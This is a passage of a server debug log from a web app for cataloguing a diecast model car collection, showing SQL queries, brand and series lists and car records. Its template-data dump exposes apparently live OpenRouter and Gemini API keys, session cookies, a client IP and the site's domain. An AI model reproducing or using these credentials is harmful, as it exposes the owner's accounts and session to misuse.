    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T07:03:04.823Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 }
]
2026-02-04T07:03:04.824Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-04T07:03:04.824Z server-connect:app Executing action step select
2026-02-04T07:03:04.824Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T07:03:04.825Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 157,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 160,
      model_name: '2023 Toyota RAV4 TRD',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 159,
      model_name: 'Ford Police Interceptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 158,
      model_name: 'GMC 3500 Utility Truck',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 157,
      model_name: '2015 Honda Ridgeline',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Honda',
      vehicle_brand_id: 112,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 156,
      model_name: '1980 Jeep JIO Stepside',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 155,
      model_name: '2025 RAM 1500 EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 154,
      model_name: '2020 Land Rover Defender 90',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 153,
      model_name: 'Pierce Volterra EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Pierce',
      vehicle_brand_id: 192,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 152,
      model_name: '17 Toyota Landcruiser 78',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 151,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T07:03:04.827Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-04T07:03:04.827Z server-connect:app Executing action step select
2026-02-04T07:03:04.827Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T07:03:04.827Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-04T07:03:05.135Z server-connect:router Serving templateView /
2026-02-04T07:03:05.135Z server-connect:app Executing action step identify
2026-02-04T07:03:05.135Z server-connect:app options: { provider: 'security' }
2026-02-04T07:03:05.135Z server-connect:output identity: 1
2026-02-04T07:03:05.135Z server-connect:app Executing action step restrict
2026-02-04T07:03:05.135Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:03:05.136Z server-connect:output restrict: undefined
2026-02-04T07:03:05.136Z server-connect:app Executing action step restrict
2026-02-04T07:03:05.136Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:03:05.136Z server-connect:output restrict: undefined
2026-02-04T07:03:05.136Z server-connect:router Render template layouts/main
2026-02-04T07:03:05.136Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T07:03:14.409Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T07:03:14.410Z server-connect:app Executing action step identify
2026-02-04T07:03:14.410Z server-connect:app options: { provider: 'security' }
2026-02-04T07:03:14.410Z server-connect:output identity: 1
2026-02-04T07:03:14.410Z server-connect:app Executing action step restrict
2026-02-04T07:03:14.410Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:03:14.410Z server-connect:output restrict: undefined
2026-02-04T07:03:14.410Z server-connect:app Executing action step condition
2026-02-04T07:03:14.410Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T07:03:14.410Z server-connect:app Executing action step update
2026-02-04T07:03:14.411Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T07:03:14.411Z server-connect:output update: { affected: 1 }
2026-02-04T07:03:14.412Z server-connect:app Executing action step upload
2026-02-04T07:03:14.412Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T07:03:14.412Z server-connect:output upload_image: []
2026-02-04T07:03:14.412Z server-connect:app Executing action step repeat
2026-02-04T07:03:14.412Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-04T07:03:14.412Z server-connect:output repeat_images: []
2026-02-04T07:03:14.412Z server-connect:output condition: undefined
2026-02-04T07:03:14.720Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T07:03:14.720Z server-connect:app Executing action step identify
2026-02-04T07:03:14.720Z server-connect:app options: { provider: 'security' }
2026-02-04T07:03:14.720Z server-connect:output identity: 1
2026-02-04T07:03:14.721Z server-connect:app Executing action step restrict
2026-02-04T07:03:14.721Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:03:14.721Z server-connect:output restrict: undefined
2026-02-04T07:03:14.721Z server-connect:app Executing action step paged
2026-02-04T07:03:14.721Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T07:03:14.724Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 157,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
